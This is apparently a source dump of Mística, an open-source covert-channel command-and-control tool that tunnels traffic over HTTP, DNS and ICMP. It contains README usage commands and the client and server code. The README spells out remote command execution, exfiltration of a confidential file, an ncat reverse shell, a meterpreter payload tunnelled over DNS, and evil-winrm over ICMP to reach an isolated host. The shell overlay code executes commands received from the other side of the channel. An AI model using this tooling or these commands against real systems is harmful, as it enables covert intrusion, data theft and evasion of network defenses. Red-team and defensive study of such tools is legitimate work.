Server: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"` - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"` - HTTPS GET method with b64 encoding in the default URI using 443 port. A certificate must be generated in Mistica Server to use the ssl option, the Mistica Client only needs to receive the ssl flag: - Mística Server: - `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes` - `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"` - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"` - HTTP GET method with b64 encoding in the default URI, using proxy server in Mistica Client (can be used in environments where HTTP communication must necessarily pass through a corporate proxy, which is not specified in the computer configuration). Test the following example with Burpsuite: - Mística Server: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"` - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"` ### DNS In order to illustrate the different methods of DNS encapsulation, the IO redirection overlay module (`io`) will be used for every example. - TXT query, using localhost and port 5353 (default values): - Mística Server: `./ms.py -m io:dns -k "rc4testkey"` - Mística Client: `./mc.py -m io:dns -k "rc4testkey"` - NS query, using localhost and port 5353 (default values): - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"` - Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"` - CNAME query, using localhost and port 5353 (default values): - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"` - Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"` - MX query, using localhost and port 5353 (default values): - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"` - Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"` - SOA query, using localhost and port 5353 (default values): - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"` - Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"` - TXT query, using localhost and port 5353 (default values) and **custom domains**: - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"` - Mística Client: - `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"` - `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"` - TXT query, specifying port and hostname: - Mística Server: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"` - Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"` - TXT query, using multiple subdomains: - Mística Server: `./ms.py -m io:dns -k "rc4testkey"` - Mística Client: `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"` ### ICMP The Linux kernel, when it receives an icmp echo request package, by default automatically responds with an icmp echo reply package (without giving us any option to reply). That's why we have to disable icmp responses to be able to send our own with data that differs from that sent by the client. To do this, we do the following: Disable automatic icmp responses by the kernel (*root required*) editing `/etc/sysctl.conf` file: - Add the following line to your /etc/sysctl.conf: ``` net.ipv4.icmp_echo_ignore_all=1 ``` - Then, run: `sysctl -p` to take effect. Now, in order to illustrate the different methods of ICMP encapsulation, the IO redirection overlay module (`io`) will be used for every example. - ICMP Data Section, using interface eth0: - Mística Server: `./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"` - Mística Client: `./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"` ### Shell and IO You can get remote command execution using mística over a custom channel, by combining `io` and `shell` modules. Examples: - Executing commands on client system over DNS using TXT query. - Mística Server: `sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"` - Mística Client: `./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"` - Executing commands on server system over HTTP using GET requests: - Mística Server: `./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"` - Mística Client: `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"` - Executing commands on client system over ICMP: - Mística Server: `./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"` - Mística Client: `./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"` - Exfiltrating files via HTTP using the IO module and redirect operators: - Mística Server: `./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf` - Mística Client (**important to run from the cmd**): `type confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv` ### Port forwarding with tcpconnect and tcplisten - Remote port forwarding (seen from server) over HTTP. Address `127.0.0.1:4444` on the client will be forwarded to address `127.0.0.1:5555` on the server. There must be already something listening on `5555`. - Mística Server: `./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"` - Mística Client: `./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"` - Local port forwarding (seen from server) over DNS. Address `127.0.0.1:4444` on the server will be forwarded to address `127.0.0.1:5555` on the client. There must be already something listening on `5555`. - Mística Server: `sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"` - Mística Client: `./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"` - HTTP reverse shell using netcat on linux client. - Netcat Listener (on server): `nc -nlvp 5555` - Mística Server: `./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"` - Mística Client: `./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"` - Netcat Shell (on linux client): `ncat -nve /bin/bash 127.0.0.1 4444` - Running `meterpreter_reverse_tcp` (linux) over DNS using port forwarding. Payload generated with `msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin` - Run `msfconsole` on server and launch handler with: `handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555` - Mística Server: `sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"` - Mística Client: `./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"` - Run meterpreter on client: `./meterpreter_reverse_tcp_localhost_4444.bin` - [EvilWinrm](https://github.com/Hackplayers/evil-winrm) over ICMP using a jumping machine to access an isolated machine. - Mistica Server: `./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vv` - Mistica Client: `python.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vv` - EvilWinrm Console (on C2 machine): `evil-winrm -u Administrador -i 127.0.0.1 -P 5555` ## Docker A Docker image has been created for local use. This avoids us having to install Python or dnslib only if we want to test the tool, it is also very interesting for debug or similar because we avoid the noise generated by other local applications. To build it we simply follow these steps: * First build image with: ``` sudo docker build --tag mistica:latest . ``` * Second, create the network with: ``` sudo docker network create misticanw ``` * Third run the server with: ``` sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash ``` * Fourth run the client with: ``` sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash ``` ## How to compile Mística is a tool developed in Python, which means that, theoretically, it can be compiled. To compile the tool we will use [Pyinstaller](https://www.pyinstaller.org/), this tool will allow us to generate a binary (depending on the operating system we are in), this means that we can NOT do Cross-compiling as in other languages like C, C++, Golang, Rust, etc. **We are working on a way to make this possible**, however, we leave you with the Pyinstaller command that will allow us to compile Mística in any operating system: ### Compile Mistica Client As Mística Client has no dependencies, it can be compiled directly with Pyinstaller. To compile it follow the following steps: * First, install pyinstaller for Python3.7 or higher: ``` python3.7 -m pip install pyinstaller --user ``` * And now, compile Mística Client with the following command: ``` pyinstaller --onefile \ --hiddenimport overlay.client.io \ --hiddenimport overlay.client.shell \ --hiddenimport overlay.client.tcpconnect \ --hiddenimport overlay.client.tcplisten \ --hiddenimport wrapper.client.http \ --hiddenimport wrapper.client.dns \ --hiddenimport wrapper.client.icmp \ --hiddenimport overlay.server.io \ --hiddenimport overlay.server.shell \ --hiddenimport overlay.server.tcpconnect \ --hiddenimport overlay.server.tcplisten \ --hiddenimport wrapper.server.wrap_module.http \ --hiddenimport wrapper.server.wrap_module.dns \ --hiddenimport wrapper.server.wrap_module.icmp \ --hiddenimport wrapper.server.wrap_server.httpserver \ --hiddenimport wrapper.server.wrap_server.dnsserver \ --hiddenimport wrapper.server.wrap_server.icmpserver \ mc.py ``` ### Compile Mistica Server If you want to compile Mística Server you need to install, with Pip, Dnslib library in a global (remember that it is the only dependency of Mística, and only for the Mística Server). To do this you need to follow the following steps: * First, install Python3.7 or higher on your Windows, Linux or Mac system. * Second, install, with Pip, the Dnslib library: `pip install dnslib` (without the "--user" flag, this way it will be installed globally on the system, otherwise, pyinstaller will not be able to add it as hidden import. This step requires administrator permissions) * Thirdly, install, with Pip, the Pyinstaller library: `pip install pyinstaller`. * And fourth, compile Mística Server with the following command: ``` pyinstaller --onefile \ --hiddenimport overlay.client.io \ --hiddenimport overlay.client.shell \ --hiddenimport overlay.client.tcpconnect \ --hiddenimport overlay.client.tcplisten \ --hiddenimport wrapper.client.http \ --hiddenimport wrapper.client.dns \ --hiddenimport wrapper.client.icmp \ --hiddenimport overlay.server.io \ --hiddenimport overlay.server.shell \ --hiddenimport overlay.server.tcpconnect \ --hiddenimport overlay.server.tcplisten \ --hiddenimport wrapper.server.wrap_module.http \ --hiddenimport wrapper.server.wrap_module.dns \ --hiddenimport wrapper.server.wrap_module.icmp \ --hiddenimport wrapper.server.wrap_server.httpserver \ --hiddenimport wrapper.server.wrap_server.dnsserver \ --hiddenimport wrapper.server.wrap_server.icmpserver \ --hiddenimport dnslib \ ms.py ``` ## Future work - Cross-Compiling method to be able to compile Mistica for different operating systems without having to do so from the target operating system. - Transparent Diffie-Hellman key generation for SOTP protocol - Multi-Handler mode: Interactive mode for `ms.py`. This will let the user combine more than one overlay with more than one wrapper and more than one wrap module per wrap server. - Module development documentation for custom module development. This is discouraged right now as module specification is still under development. - Next modules: - SMB wrapper - RAT and RAT handler overlay - SOCKS proxy and dynamic port forwarding overlay - File Transfer overlay - RDP wrapper - Custom HTTP templates for more complex encapsulation - SOTP protocol specification documentation for custom clients or servers. This is discouraged right now as the protocol is still under development. ## Authors and license This project has been developed by Carlos Fernández Sánchez and Raúl Caro Teixidó. The code is released under the GNU General Public License v3. This project uses third-party open-source code, particularly: - [Bitstring](https://github.com/scott-griffiths/bitstring) developed by Scott Griffiths. - [A RC4 binary-safe](https://github.com/DavidBuchanan314/rc4) developed by David Buchanan. - [A DNS Client without dependencies](https://github.com/vlasebian/simple-dns-client) developed by Vlad Vitan. - [A ICMP Server and Client without dependencies](https://github.com/rcaroncd/ICMPack/) developed by Raul Caro. ================================================ FILE: logs/.gitkeep ================================================ ================================================ FILE: mc.py ================================================ #!/usr/bin/python3.7 # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from argparse import ArgumentParser from threading import Thread, Semaphore from queue import Queue, Empty from importlib import import_module from sotp.clientworker import ClientWorker from utils.messaging import Message, SignalType, MessageType from utils.logger import Log from time import sleep from sys import exit, stdin from platform import system from signal import signal, SIGINT from utils.prompt import Prompt if system() != "Windows": from select import poll, POLLIN from sotp.misticathread import ClientOverlay, ClientWrapper from wrapper.client import * from overlay.client import * class MisticaClient(object): def __init__(self, key, args, verbose): self.name = type(self).__name__ self.wrapper = None self.overlay = None self.qsotp = Queue() self.qdata = Queue() self.sem = Semaphore(1) self.sotp_sem = Semaphore(1) self.released = False # Overlay and Wrapper args self.overlayname = args["overlay"] self.wrappername = args["wrapper"] self.overlayargs = args["overlay_args"] self.wrapperargs = args["wrapper_args"] # Mistica Client args self.key = key # Arguments depended of overlay used self.tag = None # Arguments depended of wrapper used self.max_size = None self.poll_delay = None self.response_timeout = None self.max_retries = None # Logger parameters self.logger = Log('_client', verbose) if verbose > 0 else None self._LOGGING_ = False if self.logger is None else True def doWrapper(self): self.sem.acquire() self._LOGGING_ and self.logger.info(f"[Wrapper] Initializing...") self.wrapper = [x for x in ClientWrapper.__subclasses__() if x.NAME == self.wrappername][0](self.qsotp, self.wrapperargs, self.logger) self.wrapper.start() # setting sotp arguments depending on the wrapper to be used self.max_size = self.wrapper.max_size self.response_timeout = self.wrapper.response_timeout self.poll_delay = self.wrapper.poll_delay self.max_retries = self.wrapper.max_retries self.sem.release() def doSotp(self): try: self.sem.acquire() self._LOGGING_ and self.logger.info(f"[{self.name}] Initializing...") self.sem.release() self.sotp_sem.acquire() i = 1 s = ClientWorker(self.key, self.max_retries, self.max_size, self.tag, self.overlayname, self.wrappername, self.qdata, self.logger) dataThread = Thread(target=s.dataEntry, args=(self.qsotp,)) dataThread.start() while not s.exit: answers = [] self._LOGGING_ and self.logger.debug(f"[{self.name}] Iteration nº{i} Status: {s.st} Seq: {s.seqnumber}/65535") if s.wait_reply: timeout = self.response_timeout else: timeout = self.poll_delay try: dataEntry = self.qsotp.get(True,timeout) answers = s.Entrypoint(dataEntry) except Empty: if s.wait_reply: answers = s.lookForRetries() else: answers = s.getPollRequest() for answer in answers: self._LOGGING_ and self.logger.debug(f"[{self.name}] Header Sent: {answer.printHeader()}") if answer.receiver == self.wrapper.name: self._LOGGING_ and self.logger.debug_all(f"[{self.name}] Retries {s.retries}/{self.max_retries}") self.wrapper.inbox.put(answer) elif answer.receiver == self.overlay.name: self.overlay.inbox.put(answer) else: raise Exception(f"Invalid answer to {answer.receiver} in client loop") if self.released == False and s.sotp_first_push: self._LOGGING_ and self.logger.debug(f"[{self.name}] Initialized! Unblocked sem") self.sotp_sem.release() self.released = True i += 1 pass dataThread.join() self._LOGGING_ and self.logger.info(f"[DataThread] Terminated") self._LOGGING_ and self.logger.info(f"[{s.name}] Terminated") except Exception as e: print(e) self._LOGGING_ and self.logger.exception(f"[ClientWorker] Exception in doSotp: {e}") self.overlay.inbox.put(Message("clientworker", 0, self.overlayname, 0, MessageType.SIGNAL, SignalType.TERMINATE)) self.wrapper.inbox.put(Message("clientworker", 0, self.wrappername, 0, MessageType.SIGNAL, SignalType.TERMINATE)) def doOverlay(self): self.sem.acquire() self._LOGGING_ and self.logger.info(f"[Overlay] Initializing...") self.overlay = [x for x in ClientOverlay.__subclasses__() if x.NAME == self.overlayname][0](self.qsotp, self.qdata, self.overlayargs, self.logger) self.overlay.start() # setting sotp arguments depending on the overlay to be used self.tag = self.overlay.tag self.sem.release() def captureInput(self): self.sem.acquire() self._LOGGING_ and self.logger.info(f"[Input] Initializing...") self.sem.release() if system() != 'Windows': polling = poll() while True: if self.overlay.exit: break try: if system() == 'Windows': # Ugly loop for windows rawdata = stdin.buffer.raw.read(300000) sleep(0.1) else: # Nice loop for unix polling.register(stdin.buffer.raw.fileno(), POLLIN) polling.poll() rawdata = stdin.buffer.raw.read(300000) if rawdata == b'': # assume EOF self.sotp_sem.acquire() self._LOGGING_ and self.logger.debug(f"[Input] SOTP initialized, sending terminate because input recv EOF") self.overlay.inbox.put(Message("input", 0, self.overlayname, 0, MessageType.SIGNAL, SignalType.TERMINATE)) self.sotp_sem.release() break if rawdata and len(rawdata) > 0 and self.overlay.hasInput: self.overlay.inbox.put(Message("input", 0, self.overlayname, 0, MessageType.STREAM, rawdata)) except KeyboardInterrupt: self._LOGGING_ and self.logger.debug("[Input] CTRL+C detected. Passing to wrapper") self.overlay.inbox.put(Message("input", 0, self.overlayname, 0, MessageType.SIGNAL, SignalType.TERMINATE)) break self._LOGGING_ and self.logger.info(f"[Input] Terminated") return def captureExit(self, signal_received, frame): self._LOGGING_ and self.logger.debug("[Input] CTRL+C detected. Passing to overlay") self.overlay.inbox.put(Message("input", 0, self.overlayname, 0, MessageType.SIGNAL, SignalType.TERMINATE)) def run(self): try: self.doWrapper() self.doOverlay() sotpThread = Thread(target=self.doSotp) sotpThread.start() if self.overlay.hasInput: self.captureInput() else: signal(SIGINT, self.captureExit) # Crappy loop for windows if system() == 'Windows': while not self.overlay.exit: sleep(0.5) # Nice sync primitive for unix else: sotpThread.join() except Exception as e: self._LOGGING_ and self.logger.exception(f"Exception at run(): {e}") finally: self._LOGGING_ and self.logger.debug(f"[{self.name}] Terminated") if __name__ == '__main__': parser = ArgumentParser(description=f"Mistica client.") # Sotp Client arguments. parser.add_argument('-k', "--key", action='store', default="",required=False, help="RC4 key used to encrypt the comunications") parser.add_argument("-l", "--list", action='store', required=False, help="Lists modules or parameters. Options are: all, overlays, wrappers, , ") # Wrapper and Overlay arguments. parser.add_argument("-m", "--modules", action='store', required=False, help="Module pair. Format: 'overlay:wrapper'") parser.add_argument("-w", "--wrapper-args", action='store', required=False, default='', help="args for the selected overlay module") parser.add_argument("-o", "--overlay-args", action='store', required=False, default='', help="args for the selected wrapper module") parser.add_argument('-v', '--verbose', action='count', default=0, help="Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)") args = parser.parse_args() moduleargs = {} if args.list: # list and quit if args.list == "all" or args.list == "overlays" or args.list == "wrappers": print(Prompt.listModules("client", args.list)) else: Prompt.listParameters("client", args.list) exit(0) elif args.modules: if args.key == "": print("You must suply a key for RC4 encryption. Use -k or --key") exit(1) moduleargs["overlay"] = args.modules.partition(":")[0] moduleargs["wrapper"] = args.modules.partition(":")[2] if Prompt.findModule("client", moduleargs["overlay"]) is None: print(f"Invalid overlay module {moduleargs['overlay']}. Please specify a valid module.") exit(1) if Prompt.findModule("client", moduleargs["wrapper"]) is None: print(f"Invalid wrap module {moduleargs['wrapper']}. Please specify a valid module.") exit(1) moduleargs["overlay_args"] = args.overlay_args moduleargs["wrapper_args"] = args.wrapper_args elif args.overlay_args: print("Error: Overlay parameters without overlay module. Please use -m") exit(1) elif args.wrapper_args: print("Error: Wrapper parameters without wrapper module. Please use -m") exit(1) else: parser.print_help() exit(0) c = MisticaClient(args.key,moduleargs,args.verbose) c.run() ================================================ FILE: ms.py ================================================ #!/usr/bin/python3.7 # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # import argparse from utils.logger import Log from utils.messaging import Message, SignalType, MessageType from sotp.router import Router from importlib import import_module from signal import signal, SIGINT from random import choice from utils.prompt import Prompt from sys import exit, stdin from platform import system if system() != "Windows": from select import poll, POLLIN from time import sleep from sotp.misticathread import ServerOverlay, ServerWrapper from wrapper.server.wrap_module import * from overlay.server import * class MisticaMode: SINGLE = 0 MULTI = 1 class ModuleType: WRAP_MODULE = 0 WRAP_SERVER = 2 OVERLAY = 3 class MisticaServer(): def __init__(self, mode, key, verbose, moduleargs): # Get args and set attributes self.args = moduleargs # Logger params self.logger = Log('_server', verbose) if verbose > 0 else None self._LOGGING_ = False if self.logger is None else True # init Router self.key = key self.Router = Router(self.key, self.logger) self.Router.start() self.mode = mode self.procid = 0 if self.mode == MisticaMode.SINGLE: self.overlayname = self.args["overlay"] self.wrappername = self.args["wrapper"] # Checks if the wrap_server of a certain wrap_module is up and running. def dependencyLaunched(self, wmitem): dname = wmitem.SERVER_CLASS for elem in self.Router.wrapServers: if dname == elem.name: return True return False # Returns a wrap_module, wrap_server or overlay module def getModuleInstance(self, type, name, args): self.procid += 1 if (type == ModuleType.WRAP_MODULE): return [x for x in ServerWrapper.__subclasses__() if x.NAME == name][0](self.procid, self.Router.inbox, args, self.logger) else: return [x for x in ServerOverlay.__subclasses__() if x.NAME == name][0](self.procid, self.Router.inbox, self.mode, args, self.logger) def sigintDetect(self, signum, frame): self._LOGGING_ and self.logger.info("[Sotp] SIGINT detected") if (self.mode == MisticaMode.SINGLE): targetoverlay = self.Router.overlayModules[0] targetoverlay.inbox.put(Message('input', 0, self.Router.overlayModules[0].name, self.Router.overlayModules[0].id, MessageType.SIGNAL, SignalType.TERMINATE)) else: # TODO: Depends on who's on the foreground pass def captureInput(self, overlay): while True: if overlay.exit: break if system() != 'Windows': polling = poll() try: if system() == 'Windows': # Ugly loop for windows rawdata = stdin.buffer.raw.read(50000) sleep(0.1) else: # Nice loop for unix polling.register(stdin.buffer.raw.fileno(), POLLIN) polling.poll() rawdata = stdin.buffer.raw.read(50000) if rawdata == b'': # assume EOF self._LOGGING_ and self.logger.info("[MísticaServer] Input is dead") self.Router.join() if rawdata and len(rawdata) > 0 and overlay.hasInput: overlay.inbox.put(Message('input', 0, 'overlay', overlay.id, MessageType.STREAM, rawdata)) except KeyboardInterrupt: self._LOGGING_ and self.logger.info("[MísticaServer] CTRL+C detected. Passing to overlay") overlay.inbox.put(Message('input', 0, self.Router.overlayModules[0].name, self.Router.overlayModules[0].id, MessageType.SIGNAL, SignalType.TERMINATE)) break return def run(self): # If the mode is single-handler only a wrapper module and overlay module is used if self.mode == MisticaMode.SINGLE: # Launch wrap_module wmitem = self.getModuleInstance(ModuleType.WRAP_MODULE, self.wrappername, self.args["wrapper_args"]) wmitem.start() self.Router.wrapModules.append(wmitem) # Check wrap_server dependency of wrap_module and launch it if not self.dependencyLaunched(wmitem): self.procid += 1 wsitem = wmitem.SERVER_CLASS(self.procid, self.args["wrap_server_args"], self.logger) wsitem.start() self.Router.wrapServers.append(wsitem) else: wsitem = [elem for elem in self.Router.wrapServers if wsname == wmitem.SERVER_CLASS.NAME][0] # add wrap_module to wrap_server list wsitem.addWrapModule(wmitem) # Launch overlay module omitem = self.getModuleInstance(ModuleType.OVERLAY, self.overlayname, self.args["overlay_args"]) omitem.start() self.Router.overlayModules.append(omitem) targetoverlay = self.Router.overlayModules[0] if targetoverlay.hasInput: self.captureInput(targetoverlay) self.Router.join() self._LOGGING_ and self.logger.debug("[MísticaServer] Terminated") elif self.mode == MisticaMode.MULTI: # Launch prompt etc. # Before registering a wrapper or an overlay, we must make sure that there is no other # module with incompatible parameters (e.g 2 DNS base64-based wrap_modules) self.Router.inbox.put(Message("Mistica", 0, "sotp", 0, MessageType.SIGNAL, SignalType.TERMINATE)) print("Multi-handler mode is not implemented yet! use -h") exit(0) if __name__ == '__main__': fortunes = ["The Last Protocol Bender.", "Your friendly data smuggler.", "Anything is a tunnel if you're brave enough.", "It's a wrap!", "The Overlay Overlord."] parser = argparse.ArgumentParser(description=f"Mistica server. {choice(fortunes)} Run without parameters to launch multi-handler mode.") parser.add_argument('-k', "--key", action='store', default="", required=False, help="RC4 key used to encrypt the comunications") parser.add_argument("-l", "--list", action='store', required=False, help="Lists modules or parameters. Options are: all, overlays, wrappers, , ") parser.add_argument("-m", "--modules", action='store', required=False, help="Module pair in single-handler mode. format: 'overlay:wrapper'") parser.add_argument("-w", "--wrapper-args", action='store', required=False, default='', help="args for the selected overlay module (Single-handler mode)") parser.add_argument("-o", "--overlay-args", action='store', required=False, default='', help="args for the selected wrapper module (Single-handler mode)") parser.add_argument("-s", "--wrap-server-args", action='store', required=False, default='', help="args for the selected wrap server (Single-handler mode)") parser.add_argument('-v', '--verbose', action='count', default=0, help="Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)") args = parser.parse_args() moduleargs = {} if args.list: # list and quit if args.list == "all" or args.list == "overlays" or args.list == "wrappers": print(Prompt.listModules("server", args.list)) else: Prompt.listParameters("server", args.list) exit(0) elif args.modules: if args.key == "": print("You must suply a key for RC4 encryption. Use -k or --key") exit(1) moduleargs["overlay"] = args.modules.partition(":")[0] moduleargs["wrapper"] = args.modules.partition(":")[2] if Prompt.findModule("server", moduleargs["overlay"]) is None: print(f"Invalid overlay module {moduleargs['overlay']}. Please specify a valid module.") exit(1) if Prompt.findModule("server", moduleargs["wrapper"]) is None: print(f"Invalid wrap module {moduleargs['wrapper']}. Please specify a valid module.") exit(1) moduleargs["overlay_args"] = args.overlay_args moduleargs["wrapper_args"] = args.wrapper_args moduleargs["wrap_server_args"] = args.wrap_server_args mode = MisticaMode.SINGLE elif args.overlay_args: print("Error: Overlay parameters without overlay module. Please use -m") exit(1) elif args.wrapper_args: print("Error: Wrapper parameters without wrapper module. Please use -m") exit(1) else: mode = MisticaMode.MULTI s = MisticaServer(mode, args.key, args.verbose, moduleargs) s.run() ================================================ FILE: overlay/client/__init__.py ================================================ __all__ = ["io", "shell", "tcpconnect", "tcplisten"] ================================================ FILE: overlay/client/io.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ClientOverlay from sys import stdout class io(ClientOverlay): NAME = "io" CONFIG = { "prog": NAME, "description": "Reads from stdin, sends through SOTP connection. Reads from SOTP connection, prints to stdout", "args": [ { "--tag": { "help": "Tag used by the overlay", "nargs": 1, "required": False, "default": ["0x1010"] } } ] } def __init__(self, qsotp, qdata, args, logger=None): ClientOverlay.__init__(self,type(self).__name__,qsotp,qdata,args,logger) self.name = type(self).__name__ # Setting input capture self.hasInput = True # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def processInputStream(self, content): self._LOGGING_ and self.logger.debug(f"[{self.name}] Read from STDIN: {len(content)} bytes") return content def processSOTPStream(self, content): self._LOGGING_ and self.logger.debug(f"[{self.name}] Write to STDOUT: {len(content)} bytes") stdout.buffer.write(content) stdout.flush() ================================================ FILE: overlay/client/shell.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ClientOverlay from subprocess import Popen,PIPE,STDOUT from platform import system class shell(ClientOverlay): NAME = "shell" CONFIG = { "prog": NAME, "description": "Executes commands recieved through the SOTP connection and returns the output. Compatible with io module.", "args": [ { "--tag": { "help": "Tag used by the overlay at the server", "nargs": 1, "required": False, "default": ["0x1010"] } } ] } def __init__(self, qsotp, qdata, args, logger=None): ClientOverlay.__init__(self,type(self).__name__,qsotp,qdata,args,logger) self.name = type(self).__name__ # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def processSOTPStream(self, content): data = b"" try: # Windows by default pass Popen data to CreateProcess() Winapi if system() == "Windows": commandline = "cmd /c " + str(content,"utf-8") else: commandline = str(content,"utf-8") p = Popen(commandline.split(), stdout=PIPE, stderr=STDOUT) data = p.communicate()[0] except Exception as e: self._LOGGING_ and self.logger.exception(f"[{self.name}] Exception in shell: {str(e)}") finally: return data if (len(data) > 0) else None ================================================ FILE: overlay/client/tcpconnect.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ClientOverlay from sys import stdout import socket from threading import Thread, Lock from utils.messaging import Message, MessageType, SignalType import select class tcpconnect(ClientOverlay): NAME = "tcpconnect" CONFIG = { "prog": NAME, "description": "Connects to TCP port. Reads from socket, sends through SOTP connection. Reads from SOTP connection, sends through socket.", "args": [ { "--tag": { "help": "Tag used by the overlay", "nargs": 1, "required": False, "default": ["0x1010"] } }, { "--address": { "help": "Address where the module will connect", "nargs": 1, "required": True, "action": "store" } }, { "--port": { "help": "Port where the module will connect", "nargs": 1, "required": True, "action": "store" } }, { "--persist": { "help": "Retries the TCP connection, if closed", "action": "store_true" } }, { "--wait": { "help": "Waits until data is received through the SOTP channel to connect", "action": "store_true" } } 